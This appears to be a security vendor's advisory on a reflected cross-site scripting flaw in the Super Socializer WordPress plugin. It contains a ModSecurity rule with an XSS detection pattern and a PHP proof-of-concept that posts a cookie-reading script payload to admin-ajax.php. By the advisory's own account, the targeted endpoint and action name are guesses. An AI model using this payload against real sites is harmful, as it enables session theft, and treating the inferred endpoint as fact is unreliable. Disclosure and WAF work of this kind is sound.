Atomic Edge analysis of CVE-2026-11798 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Super Socializer plugin for WordPress, affecting versions up to 7.14.5. An attacker can inject arbitrary JavaScript via the ‘heateor_mastodon_share’ parameter. The CVSS score is 6.1 (Medium), with network attack vector, low complexity, no privileges required, and user interaction needed.
The root cause, inferred from the CWE-79 classification and the description, is insufficient input sanitization and output escaping on the ‘heateor_mastodon_share’ parameter. The plugin likely reads this parameter from the HTTP request and echoes it back into the page without proper encoding. Atomic Edge research cannot confirm this from source code as no patch or vulnerable plugin versions are publicly available, but the pattern aligns with classic WordPress plugin XSS: direct use of $_GET[‘heateor_mastodon_share’] without esc_html() or wp_kses().
Exploitation requires tricking a privileged user into clicking a crafted link. The parameter is likely processed by a WordPress AJAX handler or a shortcode callback. A typical attack URL would be: /wp-admin/admin-ajax.php?action=super_socializer_action&heateor_mastodon_share=alert(1). Alternatively, the plugin may use a REST endpoint or a direct PHP file. The injected script executes in the victim’s browser context, allowing cookie theft, session hijacking, or internal network scanning.
Remediation requires proper input validation and output escaping. The plugin should use sanitize_text_field() on the parameter before processing, and esc_html() or wp_kses() when outputting the value. WordPress functions like esc_url() for URL parameters would also mitigate exploitation. Since no official patch exists, site owners should disable the plugin or apply a WAF rule to block malicious requests.
The impact is typical for reflected XSS: unauthenticated attackers can execute arbitrary JavaScript in the context of an authenticated user’s session. This can lead to privilege escalation if the victim is an administrator, enabling malware injection, content manipulation, or data theft. The CVSS impact sub-scores (Low/Low) reflect the limitation that user interaction is required, but real-world campaigns often achieve significant compromise via crafted links in phishing emails.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-11798 (metadata-based)
# Blocks reflected XSS attempts via the heateor_mastodon_share parameter
# Targets AJAX handler assumed to be super_socializer_action (may need adjustment)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202611798,phase:2,deny,status:403,chain,msg:'CVE-2026-11798 Reflected XSS via heateor_mastodon_share parameter',severity:'CRITICAL',tag:'CVE-2026-11798'"
SecRule ARGS:action "@streq super_socializer_action"
"chain"
SecRule ARGS:heateor_mastodon_share "@rx <script|<img|onerror|onload|alert(|prompt(|confirm("
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-11798 - Social Share, Social Login and Social Comments Plugin <= 7.14.5 - Reflected Cross-Site Scripting via 'heateor_mastodon_share' Parameter
// Proof of concept: Send a crafted XSS payload via the heateor_mastodon_share parameter
// Assumes the vulnerable endpoint is wp-admin/admin-ajax.php with action super_socializer_action
// If the actual endpoint differs, modify $target_url and/or $post_data accordingly.
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS to the victim site URL
// XSS payload: standard script alert
$payload = '<script>alert(document.cookie)</script>';
// Data to simulate the vulnerable parameter
$post_data = array(
'action' => 'super_socializer_action', // Inferred AJAX action; may vary
'heateor_mastodon_share' => $payload
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing; remove in production
// Execute and check response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response length: " . strlen($response) . "n";
echo "Note: If the payload is reflected unsanitized, the XSS is confirmed.n";
echo "Manual check: Look for the payload string in the response.n";
?>
